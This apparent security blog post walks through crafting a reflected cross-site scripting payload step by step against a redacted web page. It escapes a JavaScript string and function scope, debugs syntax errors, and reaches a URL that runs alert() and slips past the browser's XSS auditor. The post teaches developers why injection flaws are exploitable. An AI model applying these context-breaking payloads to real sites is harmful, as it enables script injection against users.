Know Your JavaScript (Injections)

HTML injection vulnerabilities make a great Voigt-Kampff test for proving you care about security. We need some kind of tool to deal with developers who take refuge in the excuse, “But it’s not exploitable.”

Companies like MasterCard and VISA created the PCI standard to make sure web sites care about vulns like XSS. Parts of the standard are pretty strict, to the point where a site faces fines or becomes unable to process credit cards if it fails to fix vulns quickly. This also means that every once in a while a site’s developers refuse to acknowledge a vuln is valid because they don’t see an alert() pop up.

The poor dears.

(1) Probe for Reflected Values

Let’s examine Exhibit One: A Means of Writing Arbitrary Mark-up into a Page. In this case, the URL parameter’s value is written into a JavaScript string variable called pageUrl. HTML injection doesn’t get much easier than this.

https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27

The code now has an extra apostrophe hanging out at the end of pageUrl:

function SetLanCookie() {
  var index = document.getElementById('selectorControl').selectedIndex;
  var lcname = document.getElementById('selectorControl').options[index].value;
  var pageUrl = '/SomePage.aspx?ACCESS_ERRORCODE=a'';
  if(pageUrl.toLowerCase() == '/OtherPage.aspx'.toLowerCase()){
    var hflanguage = document.getElementById(getClientId().HfLanguage);
    hflanguage.value =  '1';
  }
  $.cookie('LanCookie', lcname, {path: '/'});
  __doPostBack('__Page_btnLanguageLink','')
}

But when the devs go to check the vuln, they show that it’s not possible to issue an alert(). For example, they update the payload with something like this:

https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27;alert(9)//

None of the variations on the payload seem to work. They terminated the string properly. The value gets reflected. But nothing results in JavaScript execution.

(2) Break Out of One Context, Break Another

It’s too bad our developers didn’t take the time to, you know, debug the problem. After all, HTML injection attacks are a coding exercise like any other. (Although perhaps a bit more fun.)

For starters, our payload is reflected inside a JavaScript function scope. Maybe the SetLanCookie() function just isn’t being called within the page? That would explain why the alert() never runs. A reasonable step is to close the function with a curly brace and dangle a naked alert() within the script block.

https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27}alert%289%29;var%20a=%27

The following code confirms that the site still reflects the payload. However, our browser still isn’t visited by the expected pop-up.

function SetLanCookie() {
  var index = document.getElementById('selectorControl').selectedIndex;
  var lcname = document.getElementById('selectorControl').options[index].value;
  var pageUrl = '/SomePage.aspx?ACCESS_ERRORCODE=a'}alert(9);var a='';
  if(pageUrl.toLowerCase() == '/OtherPage.aspx'.toLowerCase()){
    var hflanguage = document.getElementById(getClientId().HfLanguage);
    hflanguage.value =  '1';
  }
  $.cookie('LanCookie', lcname, {path: '/'});
  __doPostBack('__Page_btnLanguageLink','')
}

But browsers have Developer Consoles and Error Consoles that print friendly messages about their activity. Taking a peek at the console output reveals why we haven’t yet succeeded in tossing up the alert() box. The script block still contains syntax errors. And unhappy syntax makes an unhappy hacker. (And a lazy one.)

[14:36:45.923] SyntaxError: function statement requires a name @ https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27}alert(9);function(){var%20a=%27  SomePage.aspx:345

[14:42:09.681] SyntaxError: syntax error @ https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27;}()alert(9);function(){var%20a=%27  SomePage.aspx:345

(3) Capture the Function Body

When we remember to terminate the JavaScript string, we must also remember to capture the syntax that follows the payload. In some cases, you can get away with escaping it with // characters. If you look at the previous code, you’ll notice that we also tried to re-capture the remainder of the string with ;var a =' inside the payload.

What needs to be done is re-capture the dangling function body. This is why you should know the JavaScript language rather than just memorize payloads. It’s not hard to fix this attack, just update the payload with an opening function statement, as below:

https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27}alert%289%29;function%28%29{var%20a=%27

The page reflects the payload once again, as shown in the following code. Spaces and carriage returns have been added to make the example easier to read. They’re unnecessary in the wild (you can minify XSS payloads, too).

function SetLanCookie() {
  var index = document.getElementById('selectorControl').selectedIndex;
  var lcname = document.getElementById('selectorControl').options[index].value;
  var pageUrl = '/SomePage.aspx?ACCESS_ERRORCODE=a'
}
alert(9);
function(){
  var a='';
  if(pageUrl.toLowerCase() == '/OtherPage.aspx'.toLowerCase()){
    var hflanguage = document.getElementById(getClientId().HfLanguage);
    hflanguage.value =  '1';
  }
  $.cookie('LanCookie', lcname, {path: '/'});
  __doPostBack('__Page_btnLanguageLink','')
}

Almost there. But the pop-up remains elusive.

(4) Var Your Function

Oops. We created a function, but forgot to name it. Normally, JavaScript doesn’t care about explicit names, but it at least needs a scope for unnamed, anonymous functions. For example, the following syntax creates and executes an anonymous function that generates an alert:

(function(){alert(9)})()

We don’t need to be that fancy, but it’s nice to remember our options. In this case, we’ll assign the function to another var. Happy syntax is executing syntax. And executing syntax kills a site’s security.

https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27}alert%289%29;var%20a=function%28%29{var%20a=%27

Finally, we reach a point where the payload inserts an alert() and modifies the surrounding JavaScript context so the browser has nothing to complain about. In fact, the payload is convoluted enough that it doesn’t trigger the browser’s XSS Auditor. (Which you shouldn’t be relying on, anyway. I mention it as a point of trivia.) Behold the fully exploited page, with spaces added for clarity:

function SetLanCookie() {
  var index = document.getElementById('selectorControl').selectedIndex;
  var lcname = document.getElementById('selectorControl').options[index].value;
  var pageUrl = '/SomePage.aspx?ACCESS_ERRORCODE=a'
}
alert(9);
var a = function(){
  var a ='';
  if(pageUrl.toLowerCase() == '/OtherPage.aspx'.toLowerCase()){
    var hflanguage = document.getElementById(getClientId().HfLanguage);
    hflanguage.value =  '1';
  }
  $.cookie('LanCookie', lcname, {path: '/'});
  __doPostBack('__Page_btnLanguageLink','')
}

What do you dream of? A world without HTML injection? Electric Sheep?

I wish we could have gotten rid of XSS and SQL injection long ago. I’ve written articles lamenting them. Published books about understanding them. Created scanners to find them. Yet those efforts come and go. All those moments will be lost in time, like tears in rain.

4 thoughts on “Know Your JavaScript (Injections)

  1. Pingback: The Wrong Location for a Locale | Deadliest Web Attacks

  2. Pingback: JavaScript: A Syntax Oddity | Deadliest Web Attacks

  3. Pingback: Cheap Essential Scenery | Deadliest Web Attacks

  4. Pingback: Selector the Almighty, Subjugator of Elements | Deadliest Web Attacks

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s